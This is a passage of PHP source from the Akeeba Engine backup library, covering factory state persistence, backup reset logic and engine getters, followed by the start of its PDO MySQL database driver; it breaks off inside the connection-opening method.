		$logger->resetWarnings();

		$serializedFactoryData = static::serialize();
		$memoryFileExtension   = 'php';
		$result                = $factoryStorage->set($serializedFactoryData, $saveTag, $memoryFileExtension);

		/**
		 * Some hosts, such as WPEngine, do not allow us to save the memory files in .php files. In this case we use the
		 * far more insecure .dat extension.
		 */
		if ($result === false)
		{
			$memoryFileExtension = 'dat';
			$result              = $factoryStorage->set($serializedFactoryData, $saveTag, $memoryFileExtension);
		}

		if ($result === false)
		{
			$saveKey      = $factoryStorage->get_storage_filename($saveTag, $memoryFileExtension);
			$errorMessage = "Cannot save factory state in storage, storage filename $saveKey";

			$logger->error($errorMessage);

			throw new RuntimeException($errorMessage);
		}
	}

	/**
	 * Loads the engine state from the storage (if it exists).
	 *
	 * When failIfMissing is true (default) an exception will be thrown if the memory file / database record is no
	 * longer there. This is a clear indication of an issue with the storage engine, e.g. the host deleting the memory
	 * files in the middle of the backup step. Therefore, we'll switch the storage engine type before throwing the
	 * exception.
	 *
	 * When failIfMissing is false we do NOT throw an exception. Instead, we do a hard reset of the backup factory. This
	 * is required by the resetState method when we ask it to reset multiple origins at once.
	 *
	 * @param   string|null  $tag            The backup origin to load
	 * @param   string|null  $backupId       The backup ID to load
	 * @param   bool         $failIfMissing  Throw an exception if the memory data is no longer there
	 *
	 * @return  void
	 */
	public static function loadState(?string $tag = null, ?string $backupId = null, bool $failIfMissing = true): void
	{
		/** @noinspection PhpUndefinedConstantInspection */
		$tag     = $tag ?: (defined('AKEEBA_BACKUP_ORIGIN') ? AKEEBA_BACKUP_ORIGIN : 'backend');
		$loadTag = rtrim($tag . '.' . ($backupId ?: ''), '.');

		// In order to load anything, we need to have the correct profile loaded. Let's assume
		// that the latest backup record in this tag has the correct profile number set.
		$config = static::getConfiguration();

		if (empty($config->activeProfile))
		{
			$profile = Platform::getInstance()->get_active_profile();

			if (empty($profile) || ($profile <= 1))
			{
				// Only bother loading a configuration if none has been already loaded
				$filters = [
					['field' => 'tag', 'value' => $tag],
				];

				if (!empty($backupId))
				{
					$filters[] = ['field' => 'backupid', 'value' => $backupId];
				}

				$statList = Platform::getInstance()->get_statistics_list([
						'filters' => $filters, 'order' => [
							'by' => 'id', 'order' => 'DESC',
						],
					]
				);

				if (is_array($statList))
				{
					$stat    = array_pop($statList) ?? [];
					$profile = $stat['profile_id'] ?? 1;
				}
			}

			Platform::getInstance()->load_configuration($profile);
		}

		$profile = $config->activeProfile;

		Factory::getLog()->open($loadTag);
		Factory::getLog()->debug("Kettenrad :: Attempting to load from database ($tag) [$loadTag]");

		$serializedFactory = static::getFactoryStorage()->get($loadTag);

		if ($serializedFactory === null)
		{
			if ($failIfMissing)
			{
				throw new RuntimeException("Akeeba Engine detected a problem while saving temporary data. Please restart your backup.", 500);
			}

			// There is no serialized factory. Nuke the in-memory factory.
			Factory::getLog()->debug(" -- Stored Akeeba Factory ($tag) [$loadTag] not found - hard reset");
			static::nuke();
			Platform::getInstance()->load_configuration($profile);
		}
		else
		{
			Factory::getLog()->debug(" -- Loaded stored Akeeba Factory ($tag) [$loadTag]");
			static::unserialize($serializedFactory);
		}


		unset($serializedFactory);
	}

	// ========================================================================
	// Public factory interface
	// ========================================================================

	/**
	 * Resets the engine state, wiping out any pending backups and/or stale temporary data.
	 *
	 * The configuration parameters are:
	 *
	 * * global  `bool`  True to reset all backups, regardless of the origin or profile ID
	 * * log     `bool`  True to log our actions (default: false)
	 * * maxrun  `int`   Only backup records older than this number of seconds will be reset (default: 180)
	 *
	 * Special considerations:
	 *
	 * * If global = true all backups from all origins are taken into account to determine which ones are stuck (over
	 *   the maxrun threshold since their last database entry).
	 *
	 * * If global = false only backups from the current backup origin are taken into account.
	 *
	 * * If global = false AND the current origin is 'backend' all pending and idle backups with the 'backup' origin are
	 *   considered stuck regardless of their age. In other words, maxrun is effectively set to 0. The idea is that only
	 *   a single person, from a single browser, should be taking backend backups at a time. Resetting single origin
	 *   backups is only ever meant to be called by the consumer when starting a backup.
	 *
	 * * Corollary to the above: starting a frontend, CLI or JSON API backup with the same backup profile DOES NOT reset
	 *   a previously failed backup if the new backup starts less than 'maxrun' seconds since the last step of the
	 *   failed backup started.
	 *
	 * * The time information for the backup age is taken from the database, namely the backupend field. If no time
	 *   is recorded for the last step we use the backupstart field instead.
	 *
	 * @param   array  $config  Configuration parameters for the reset operation
	 *
	 * @return  void
	 * @throws  Exception
	 * @noinspection PhpUnused
	 */
	public static function resetState(array $config = []): void
	{
		$defaultConfig = [
			'global' => true,
			'log'    => false,
			'maxrun' => 180,
		];

		$config = (object) array_merge($defaultConfig, $config);

		// Pause logging if so desired
		if (!$config->log)
		{
			Factory::getLog()->pause();
		}

		// Get the origin to clear, depending on the 'global' setting
		$originTag = $config->global ? null : Platform::getInstance()->get_backup_origin();

		// Cache the factory before proceeding
		$factory = static::serialize();

		// Get all running backups for the selected origin (or all origins, if global was false).
		$runningList = Platform::getInstance()->get_running_backups($originTag);

		// Sanity check
		if (!is_array($runningList))
		{
			$runningList = [];
		}

		// If the current origin is 'backend' we assume maxrun = 0 per the method docblock notes.
		$maxRun = ($originTag == 'backend') ? 0 : $config->maxrun;

		// Filter out entries by backup age
		$now         = time();
		$cutOff      = $now - $maxRun;
		$runningList = array_filter($runningList, function (array $running) use ($cutOff, $maxRun) {
			// No cutoff time: include all currently running backup records
			if ($maxRun == 0)
			{
				return true;
			}

			// Try to get the last backup tick timestamp
			try
			{
				$backupTickTime = !empty($running['backupend']) ? $running['backupend'] : $running['backupstart'];
				$tz             = new DateTimeZone('UTC');
				$tstamp         = (new DateTime($backupTickTime, $tz))->getTimestamp();
			}
			catch (Exception $e)
			{
				$tstamp = Factory::getLog()->getLastTimestamp($running['origin']);
			}

			if (is_null($tstamp))
			{
				return false;
			}

			// Only include still running backups whose last tick was BEFORE the cutoff time
			return $tstamp <= $cutOff;
		});

		// Mark running backups as failed
		foreach ($runningList as $running)
		{
			// Delete the failed backup's leftover archive parts
			$filenames = Factory::getStatistics()->get_all_filenames($running, false);
			$filenames = is_null($filenames) ? [] : $filenames;
			$totalSize = 0;

			foreach ($filenames as $failedArchive)
			{
				if (!@file_exists($failedArchive))
				{
					continue;
				}

				$totalSize += (int) @filesize($failedArchive);
				Platform::getInstance()->unlink($failedArchive);
			}

			// Mark the backup failed
			$running['status']     = 'fail';
			$running['instep']     = 0;
			$running['total_size'] = empty($running['total_size']) ? $totalSize : $running['total_size'];
			$running['multipart']  = 0;

			Platform::getInstance()->set_or_update_statistics($running['id'], $running);

			// Remove the temporary data
			$backupId = isset($running['backupid']) ? ('.' . $running['backupid']) : '';

			self::removeTemporaryData($running['origin'] . $backupId);
		}

		// Reload the factory
		static::unserialize($factory);
		unset($factory);

		// Unpause logging if it was previously paused
		if (!$config->log)
		{
			Factory::getLog()->unpause();
		}
	}

	/**
	 * Returns an Akeeba Configuration object
	 *
	 * @return  Configuration  The Akeeba Configuration object
	 */
	public static function getConfiguration(): Configuration
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getObjectInstance(Configuration::class);
	}

	/**
	 * Returns a statistics object, used to track current backup's progress
	 *
	 * @return  Statistics
	 */
	public static function getStatistics(): Statistics
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getObjectInstance(Statistics::class);
	}

	/**
	 * Returns the currently configured archiver engine
	 *
	 * @param   bool  $reset  Should I try to forcibly create a new instance?
	 *
	 * @return  Archiver\Base|null
	 */
	public static function getArchiverEngine(bool $reset = false): ?Archiver\Base
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getEngineInstance(
			'archiver', 'akeeba.advanced.archiver_engine',
			'Archiver\\', 'Archiver\\Jpa',
			$reset
		);
	}

	/**
	 * Returns the currently configured dump engine
	 *
	 * @param   boolean  $reset  Should I try to forcibly create a new instance?
	 *
	 * @return  Dump\Base|Native|null
	 */
	public static function getDumpEngine(bool $reset = false): ?object
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getEngineInstance(
			'dump', 'akeeba.advanced.dump_engine',
			'Dump\\', 'Dump\\Native',
			$reset
		);
	}

	/**
	 * Returns the filesystem scanner engine instance
	 *
	 * @param   bool  $reset  Should I try to forcibly create a new instance?
	 *
	 * @return  Scan\Base|null  The scanner engine
	 */
	public static function getScanEngine(bool $reset = false): ?Scan\Base
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getEngineInstance(
			'scan', 'akeeba.advanced.scan_engine',
			'Scan\\', 'Scan\\Large',
			$reset
		);
	}

	/**
	 * Returns the current post-processing engine. If no class is specified we
	 * return the post-processing engine configured in akeeba.advanced.postproc_engine
	 *
	 * @param   string|null  $engine  The name of the post-processing class to forcibly return
	 *
	 * @return  PostProcInterface|null
	 */
	public static function getPostprocEngine(?string $engine = null): ?PostProcInterface
	{
		if (!is_null($engine))
		{
			static::$engineClassnames['postproc'] = 'Postproc\\' . ucfirst($engine);

			/** @noinspection PhpIncompatibleReturnTypeInspection */
			return static::getObjectInstance(static::$engineClassnames['postproc']);
		}

		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getEngineInstance(
			'postproc', 'akeeba.advanced.postproc_engine',
			'Postproc\\', 'Postproc\\None',
			true
		);
	}

	// ========================================================================
	// Core objects which are part of the engine state
	// ========================================================================

	/**
	 * Returns an instance of the Filters feature class
	 *
	 * @return  Filters  The Filters feature class' object instance
	 */
	public static function getFilters(): Filters
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getObjectInstance(Filters::class);
	}

	/**
	 * Returns an instance of the specified filter group class. Do note that it does not
	 * work with platform filter classes. They are handled internally by AECoreFilters.
	 *
	 * @param   string  $filter_name  The filter class to load, without AEFilter prefix
	 *
	 * @return  Filter\Base|null  The filter class' object instance
	 */
	public static function getFilterObject(string $filter_name): ?Filter\Base
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getObjectInstance('Filter\\' . ucfirst($filter_name));
	}

	/**
	 * Loads an engine domain class and returns its associated object
	 *
	 * @param   string  $domainName  The name of the domain, e.g. installer for AECoreDomainInstaller
	 *
	 * @return  Part|null
	 */
	public static function getDomainObject(string $domainName): ?Part
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getObjectInstance('Core\\Domain\\' . ucfirst($domainName));
	}

	/**
	 * Returns a database connection object. It's an alias of AECoreDatabase::getDatabase()
	 *
	 * !!! IMPORTANT !!!
	 * DO NOT STATIC TYPE THIS METHOD.
	 *
	 * Akeeba Backup for Joomla is using a decorator to the Joomla DB object which makes use of the magic __call method
	 * to proxy driver calls. As a result it cannot adhere to an object declaration or interface. Until this is
	 * refactored we have to keep this method untyped.
	 *
	 * @param   array|null  $options  Options to use when instantiating the database connection
	 *
	 * @return  Base
	 */
	public static function getDatabase(?array $options = null)
	{
		if (is_null($options))
		{
			$options = Platform::getInstance()->get_platform_database_options();
		}

		if (isset($options['username']) && !isset($options['user']))
		{
			$options['user'] = $options['username'];
		}

		return Database::getDatabase($options);
	}

	/**
	 * Returns a database connection object. It's an alias of AECoreDatabase::getDatabase()
	 *
	 * @param   array|null  $options  Options to use when instantiating the database connection
	 *
	 * @return  void
	 */
	public static function unsetDatabase(?array $options = null): void
	{
		if (is_null($options))
		{
			$options = Platform::getInstance()->get_platform_database_options();
		}

		$db = Database::getDatabase($options);
		$db->close();

		Database::unsetDatabase($options);
	}

	/**
	 * Get a reference to the Akeeba Engine's timer
	 *
	 * @return  Timer
	 */
	public static function getTimer(): Timer
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getObjectInstance(Timer::class);
	}

	/**
	 * Get a reference to Akeeba Engine's main controller called Kettenrad
	 *
	 * @return  Kettenrad
	 */
	public static function getKettenrad(): Kettenrad
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getObjectInstance(Kettenrad::class);
	}

	/**
	 * Returns an instance of the factory temporary storage class
	 *
	 * @return  FactoryStorage
	 */
	public static function getFactoryStorage(): FactoryStorage
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getTempObjectInstance(FactoryStorage::class);
	}

	/**
	 * Returns an instance of the encryption class
	 *
	 * @return  Encrypt
	 */
	public static function getEncryption(): Encrypt
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getTempObjectInstance(Encrypt::class);
	}

	/**
	 * Returns an instance of the crypto-safe random value generator class
	 *
	 * @return  RandomValue
	 */
	public static function getRandval(): RandomValue
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getTempObjectInstance(RandomValue::class);
	}

	/**
	 * Returns an instance of the filesystem tools class
	 *
	 * @return  FileSystem
	 */
	public static function getFilesystemTools(): FileSystem
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getTempObjectInstance(FileSystem::class);
	}

	/**
	 * Returns an instance of the filesystem tools class
	 *
	 * @return  FileLister
	 * @noinspection PhpUnused
	 */
	public static function getFileLister(): FileLister
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getTempObjectInstance(FileLister::class);
	}

	// ========================================================================
	// Temporary objects which are not part of the engine state
	// ========================================================================

	/**
	 * Returns an instance of the engine parameters provider which provides information on scripting, GUI configuration
	 * elements and engine parts
	 *
	 * @return  EngineParameters
	 */
	public static function getEngineParamsProvider(): EngineParameters
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getTempObjectInstance(EngineParameters::class);
	}

	/**
	 * Returns an instance of the log object
	 *
	 * @return  Logger
	 */
	public static function getLog(): Logger
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getTempObjectInstance(Logger::class);
	}

	/**
	 * Returns an instance of the configuration checks object
	 *
	 * @return  ConfigurationCheck
	 */
	public static function getConfigurationChecks(): ConfigurationCheck
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getTempObjectInstance(ConfigurationCheck::class);
	}

	/**
	 * Returns an instance of the secure settings handling object
	 *
	 * @return  SecureSettings
	 */
	public static function getSecureSettings(): SecureSettings
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getTempObjectInstance(SecureSettings::class);
	}

	/**
	 * Returns an instance of the secure settings handling object
	 *
	 * @return  TemporaryFiles
	 */
	public static function getTempFiles(): TemporaryFiles
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getTempObjectInstance(TemporaryFiles::class);
	}

	/**
	 * Get the connector object for push messages
	 *
	 * !!! WARNING !!! DO NOT STATIC TYPE
	 *
	 * The object type may change using setPushClass.
	 *
	 * @return  PushMessagesInterface
	 */
	public static function getPush()
	{
		/** @noinspection PhpIncompatibleReturnTypeInspection */
		return static::getObjectInstance(self::$pushClassName);
	}

	/**
	 * Set the push notifications helper class to use with this factory
	 *
	 * @param   string  $className  The classname to use
	 *
	 * @since   9.3.1
	 * @noinspection PhpUnused
	 */
	public static function setPushClass(string $className): void
	{
		self::$pushClassName = $className;
	}

	/**
	 * Returns the absolute path to Akeeba Engine's installation
	 *
	 * @return  string
	 */
	public static function getAkeebaRoot(): string
	{
		if (empty(static::$root))
		{
			static::$root = __DIR__;
		}

		return static::$root;
	}

	/**
	 * @param   string  $engineType  Engine type, e.g. 'archiver', 'postproc', ...
	 * @param   string  $configKey   Profile config key with configured engine e.g. 'akeeba.advanced.archiver_engine'
	 * @param   string  $prefix      Prefix for engine classes, e.g. 'Archiver\\'
	 * @param   string  $fallback    Fallback class if the configured one doesn't exist e.g. 'Archiver\\Jpa'. Empty for
	 *                               no fallback.
	 * @param   bool    $reset       Should I force-reload the engine? Default: false.
	 *
	 * @return  object|null  The Singleton engine object instance
	 */
	protected static function getEngineInstance(string $engineType, string $configKey, string $prefix, string $fallback, bool $reset = false): ?object
	{
		if (!$reset && !empty(static::$engineClassnames[$engineType]))
		{
			return static::getObjectInstance(static::$engineClassnames[$engineType]);
		}

		// Unset the existing engine object
		if (!empty(static::$engineClassnames[$engineType]))
		{
			static::unsetObjectInstance(static::$engineClassnames[$engineType]);
		}

		// Get the engine name from the backup profile, construct a class name and check if it exists
		$registry                              = static::getConfiguration();
		$engine                                = $registry->get($configKey);
		static::$engineClassnames[$engineType] = $prefix . ucfirst($engine);
		$object                                = static::getObjectInstance(static::$engineClassnames[$engineType]);

		// If the engine object does not exist, fall back to the default
		if (!empty($fallback) && !is_object($object))
		{
			static::unsetObjectInstance(static::$engineClassnames[$engineType]);

			static::$engineClassnames[$engineType] = $fallback;
		}

		return static::getObjectInstance(static::$engineClassnames[$engineType]);
	}

	/**
	 * Internal function which instantiates an object of a class named $class_name.
	 *
	 * @param   string  $className
	 *
	 * @return  object|null
	 */
	protected static function getObjectInstance(string $className): ?object
	{
		$className = trim($className, '\\');

		if (substr($className, 0, 14) === 'Akeeba\\Engine\\')
		{
			$searchClass = $className;
			$className = substr($className, 14);
		}
		else
		{
			$searchClass = '\\Akeeba\\Engine\\' . $className;
		}

		if (isset(static::$objectList[$className]))
		{
			return static::$objectList[$className];
		}

		static::$objectList[$className] = null;

		if (class_exists($searchClass))
		{
			static::$objectList[$className] = new $searchClass;
		}
		elseif (class_exists($className))
		{
			static::$objectList[$className] = new $className;
		}

		return static::$objectList[$className];
	}

	// ========================================================================
	// Handy functions
	// ========================================================================

	/**
	 * Internal function which removes the object of the class named $class_name
	 *
	 * @param   string  $className
	 *
	 * @return  void
	 */
	protected static function unsetObjectInstance(string $className): void
	{
		if (substr($className, 0, 14) === 'Akeeba\\Engine\\')
		{
			$className = substr($className, 14);
		}

		if (isset(static::$objectList[$className]))
		{
			static::$objectList[$className] = null;
			unset(static::$objectList[$className]);
		}
	}

	/**
	 * Internal function which instantiates an object of a class named $class_name. This is a temporary instance which
	 * will not survive serialisation and subsequent unserialisation.
	 *
	 * @param   string  $className
	 *
	 * @return  object|null
	 */
	protected static function getTempObjectInstance(string $className): ?object
	{
		$className = trim($className, '\\');

		if (substr($className, 0, 14) === 'Akeeba\\Engine\\')
		{
			$searchClass = $className;
			$className = substr($className, 14);
		}
		else
		{
			$searchClass = '\\Akeeba\\Engine\\' . $className;
		}

		if (!isset(static::$temporaryObjectList[$className]))
		{
			static::$temporaryObjectList[$className] = null;

			if (class_exists($searchClass))
			{
				static::$temporaryObjectList[$className] = new $searchClass;
			}
		}

		return static::$temporaryObjectList[$className];
	}

	/**
	 * Remote the temporary data for a specific backup tag.
	 *
	 * @param   string  $originTag  The backup tag to reset e.g. 'backend.id123' or 'frontend'.
	 *
	 * @return  void
	 */
	protected static function removeTemporaryData(string $originTag): void
	{
		static::loadState($originTag, null, false);
		// Remove temporary files
		Factory::getTempFiles()->deleteTempFiles();
		// Delete any stale temporary data
		static::getFactoryStorage()->reset($originTag);
	}
}

/**
 * Timeout handler. It is registered as a global PHP shutdown function.
 *
 * If a PHP reports a timeout we will log this before letting PHP kill us.
 */
function AkeebaTimeoutTrap(): void
{
	if (connection_status() >= 2)
	{
		Factory::getLog()->error('Akeeba Engine has timed out');
	}
}

register_shutdown_function("\\Akeeba\\Engine\\AkeebaTimeoutTrap");
PK     \	?I  I  /  vendor/akeeba/engine/engine/Driver/Pdomysql.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Query\Pdomysql as QueryPdomysql;
use Akeeba\Engine\FixMySQLHostname;
use Exception;
use PDO;
use PDOException;
use PDOStatement;
use ReflectionClass;
use RuntimeException;

/**
 * PDO MySQL database driver for Akeeba Engine
 *
 * Based on Joomla! Platform 12.1
 */
#[\AllowDynamicProperties]
class Pdomysql extends Mysql
{
	use FixMySQLHostname;

	/**
	 * The default cipher suite for TLS connections.
	 *
	 * @var    array
	 */
	protected static $defaultCipherSuite = [
		'AES128-GCM-SHA256',
		'AES256-GCM-SHA384',
		'AES128-CBC-SHA256',
		'AES256-CBC-SHA384',
		'DES-CBC3-SHA',
	];

	/**
	 * The name of the database driver.
	 *
	 * @var    string
	 */
	public $name = 'pdomysql';

	/** @var string Connection character set */
	protected $charset = 'utf8mb4';

	/** @var PDO The db connection resource */
	protected $connection = null;

	/** @var PDOStatement The database connection cursor from the last query. */
	protected $cursor;

	/** @var array Driver options for PDO */
	protected $driverOptions = [];

	protected $ssl = [];

	/** @var bool Are we in the process of reconnecting to the database server? */
	private $isReconnecting = false;

	/**
	 * Database object constructor
	 *
	 * @param   array  $options  List of options used to configure the connection
	 */
	public function __construct($options)
	{
		$this->driverType = 'mysql';

		// Init
		$this->nameQuote = '`';

		$options['ssl'] = $options['ssl'] ?? [];
		$options['ssl'] = is_array($options['ssl']) ? $options['ssl'] : [];

		$options['ssl']['enable']             =
			($options['ssl']['enable'] ?? $options['dbencryption'] ?? false) ?: false;
		$options['ssl']['cipher']             = ($options['ssl']['cipher'] ?? $options['dbsslcipher'] ?? null) ?: null;
		$options['ssl']['ca']                 = ($options['ssl']['ca'] ?? $options['dbsslca'] ?? null) ?: null;
		$options['ssl']['capath']             = ($options['ssl']['capath'] ?? $options['dbsslcapath'] ?? null) ?: null;
		$options['ssl']['key']                = ($options['ssl']['key'] ?? $options['dbsslkey'] ?? null) ?: null;
		$options['ssl']['cert']               = ($options['ssl']['cert'] ?? $options['dbsslcert'] ?? null) ?: null;
		$options['ssl']['verify_server_cert'] =
			($options['ssl']['verify_server_cert'] ?? $options['dbsslverifyservercert'] ?? false) ?: false;

		// Figure out if a port is included in the host name
		$this->fixHostnamePortSocket($options['host'], $options['port'], $options['socket']);

		// Open the connection
		$this->host           = $options['host'] ?? 'localhost';
		$this->user           = $options['user'] ?? '';
		$this->password       = $options['password'] ?? '';
		$this->port           = $options['port'] ?? '';
		$this->socket         = $options['socket'] ?? '';
		$this->_database      = $options['database'] ?? '';
		$this->selectDatabase = $options['select'] ?? true;
		$this->ssl            = $options['ssl'] ?? [];

		$this->charset       = $options['charset'] ?? 'utf8mb4';
		$this->driverOptions = $options['driverOptions'] ?? [];
		$this->tablePrefix   = $options['prefix'] ?? '';
		$this->connection    = $options['connection'] ?? null;
		$this->errorNum      = 0;
		$this->count         = 0;
		$this->log           = [];
		$this->options       = $options;

		if (!is_object($this->connection))
		{
			$this->open();
		}
	}

	/**
	 * Test to see if the MySQL connector is available.
	 *
	 * @return  boolean  True on success, false otherwise.
	 */
	public static function isSupported()
	{
		if (!defined('\PDO::ATTR_DRIVER_NAME'))
		{
			return false;
		}

		return in_array('mysql', PDO::getAvailableDrivers());
	}

	/**
	 * PDO does not support serialize
	 *
	 * @return  array
	 */
	public function __sleep()
	{
		$serializedProperties = [];

		$reflect = new ReflectionClass($this);

		// Get properties of the current class
		$properties = $reflect->getProperties();

		foreach ($properties as $property)
		{
			// Do not serialize properties that are \PDO
			if ($property->isStatic() == false && !($this->{$property->name} instanceof PDO))
			{
				array_push($serializedProperties, $property->name);
			}
		}

		return $serializedProperties;
	}

	/**
	 * Wake up after serialization
	 *
	 * @return  array
	 */
	public function __wakeup()
	{
		// Get connection back
		$this->__construct($this->options);
	}

	public function close()
	{
		$return = false;

		if (is_object($this->cursor))
		{
			try
			{
				$this->cursor->closeCursor();
			}
			catch (\Throwable $e)
			{
			}
		}

		$this->connection = null;

		return $return;
	}

	/**
	 * Determines if the connection to the server is active.
	 *
	 * @return  boolean  True if connected to the database engine.
	 */
	public function connected()
	{
		if (!is_object($this->connection))
		{
			return false;
		}

		try
		{
			/** @var PDOStatement $statement */
			$statement = $this->connection->prepare('SELECT 1');
			$executed  = $statement->execute();
			$ret       = 0;

			if ($executed)
			{
				$row = [0];

				if (!empty($statement) && $statement instanceof PDOStatement)
				{
					$row = $statement->fetch(PDO::FETCH_NUM);
				}

				$ret = $row[0];
			}

			$status = $ret == 1;

			$statement->closeCursor();
			$statement = null;
		}
		// If we catch an exception here, we must not be connected.
		catch (\Throwable $e)
		{
			$status = false;
		}

		return $status;
	}

	/**
	 * Method to escape a string for usage in an SQL statement.
	 *
	 * @param   string   $text   The string to be escaped.
	 * @param   boolean  $extra  Optional parameter to provide extra escaping.
	 *
	 * @return  string  The escaped string.
	 */
	public function escape($text, $extra = false)
	{
		if (is_int($text) || is_float($text))
		{
			return $text;
		}

		if (is_null($text))
		{
			return 'NULL';
		}

		$result = substr($this->connection->quote($text), 1, -1);

		if ($extra)
		{
			$result = addcslashes($result, '%_');
		}

		return $result;
	}

	/**
	 * Method to fetch a row from the result set cursor as an associative array.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  mixed  Either the next row from the result set or false if there are no more rows.
	 */
	public function fetchAssoc($cursor = null)
	{
		$ret = null;

		if (!empty($cursor) && $cursor instanceof PDOStatement)
		{
			$ret = $cursor->fetch(PDO::FETCH_ASSOC);
		}
		elseif ($this->cursor instanceof PDOStatement)
		{
			$ret = $this->cursor->fetch(PDO::FETCH_ASSOC);
		}

		return $ret;
	}

	/**
	 * Method to free up the memory used for the result set.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  void
	 */
	public function freeResult($cursor = null)
	{
		if ($cursor instanceof PDOStatement)
		{
			$cursor->closeCursor();
			$cursor = null;
		}

		if ($this->cursor instanceof PDOStatement)
		{
			$this->cursor->closeCursor();
			$this->cursor = null;
		}
	}

	/**
	 * Get the number of affected rows for the previous executed SQL statement.
	 *
	 * @return  integer  The number of affected rows.
	 */
	public function getAffectedRows()
	{
		if ($this->cursor instanceof PDOStatement)
		{
			return $this->cursor->rowCount();
		}

		return 0;
	}

	/**
	 * Get the number of returned rows for the previous executed SQL statement.
	 *
	 * @param   resource  $cursor  An optional database cursor resource to extract the row count from.
	 *
	 * @return  integer   The number of returned rows.
	 */
	public function getNumRows($cursor = null)
	{
		if ($cursor instanceof PDOStatement)
		{
			return $cursor->rowCount();
		}

		if ($this->cursor instanceof PDOStatement)
		{
			return $this->cursor->rowCount();
		}

		return 0;
	}

	/**
	 * Get the current or query, or new JDatabaseQuery object.
	 *
	 * @param   boolean  $new  False to return the last query set, True to return a new JDatabaseQuery object.
	 *
	 * @return  mixed  The current value of the internal SQL variable or a new JDatabaseQuery object.
	 */
	public function getQuery($new = false)
	{
		if ($new)
		{
			return new QueryPdomysql($this);
		}
		else
		{
			return $this->sql;
		}
	}

	public function createQuery()
	{
		return new QueryPdomysql($this);
	}

	/**
	 * Get the version of the database connector.
	 *
	 * @return  string  The database connector version.
	 */
	public function getVersion()
	{
		$version = $this->connection->getAttribute(\PDO::ATTR_SERVER_VERSION);

		if (stripos($version, 'mariadb') !== false)
		{
			// MariaDB: Strip off any leading '5.5.5-', if present
			return preg_replace('/^5\.5\.5-/', '', $version);
		}

		return $version;
	}

	/**
	 * Determines if the database engine supports UTF-8 character encoding.
	 *
	 * @return  boolean  True if supported.
	 */
	public function hasUTF()
	{
		$serverVersion = $this->getVersion();
		$mariadb       = stripos($serverVersion, 'mariadb') !== false;

		// At this point we know the client supports utf8mb4.  Now we must check if the server supports utf8mb4 as well.
		$utf8mb4 = version_compare($serverVersion, '5.5.3', '>=');

		if ($mariadb && version_compare($serverVersion, '10.0.0', '<'))
		{
			$utf8mb4 = false;
		}

		return $utf8mb4;
	}

	/**
	 * Method to get the auto-incremented value from the last INSERT statement.
	 *
	 * @return  integer  The value of the auto-increment field from the last inserted row.
	 */
	public function insertid()
	{
		// Error suppress this to prevent PDO warning us that the driver doesn't support this operation.
		return @$this->connection->lastInsertId();
	}

	/**
	 * Method to get the next row in the result set from the database query as an object.
	 *
	 * @param   string  $class  The class name to use for the returned row object.
	 *
	 * @return  mixed   The result of the query as an array, false if there are no more rows.
	 */
	public function loadNextObject($class = 'stdClass')
	{
		// Execute the query and get the result set cursor.
		if (!$this->cursor)
		{
			if (!($this->execute()))
			{
				return $this->errorNum ? null : false;
			}
		}

		// Get the next row from the result set as an object of type $class.
		if ($row = $this->fetchObject(null, $class))
		{
			return $row;
		}

		// Free up system resources and return.
		$this->freeResult();

		return false;
	}

	/**
	 * Method to get the next row in the result set from the database query as an array.
	 *
	 * @return  mixed  The result of the query as an array, false if there are no more rows.
	 */
	public function loadNextRow()
	{
		// Execute the query and get the result set cursor.
		if (!$this->cursor)
		{
			if (!($this->execute()))
			{
				return $this->errorNum ? null : false;
			}
		}

		// Get the next row from the result set as an object of type $class.
		if ($row = $this->fetchArray())
		{
			return $row;
		}

		// Free up system resources and return.
		$this->freeResult();

		return false;
	}

	public function open()
	{
		if ($this->connected())
		{
			return;
		}
		else
		{
			$this->close();
		}

		if (!isset($this->charset))
		{
			$this->charset = 'utf8mb4';
		}

		$this->port = $this->port ?: 3306;

		$format = 'mysql:host=#HOST#;port=#PORT#;dbname=#DBNAME#;charset=#CHARSET#';

		if ($this->socket)
		{
			$format = 'mysql:socket=#SOCKET#;dbname=#DBNAME#;charset=#CHARSET#';
		}

		$replace = ['#HOST#', '#PORT#', '#SOCKET#', '#DBNAME#', '#CHARSET#'];
		$with    = [$this->host, $this->port, $this->socket, $this->_database, $this->charset];

		// Create the connection string:
		$connectionString = str_replace($replace, $with, $format);

		// For SSL/TLS connection encryption.
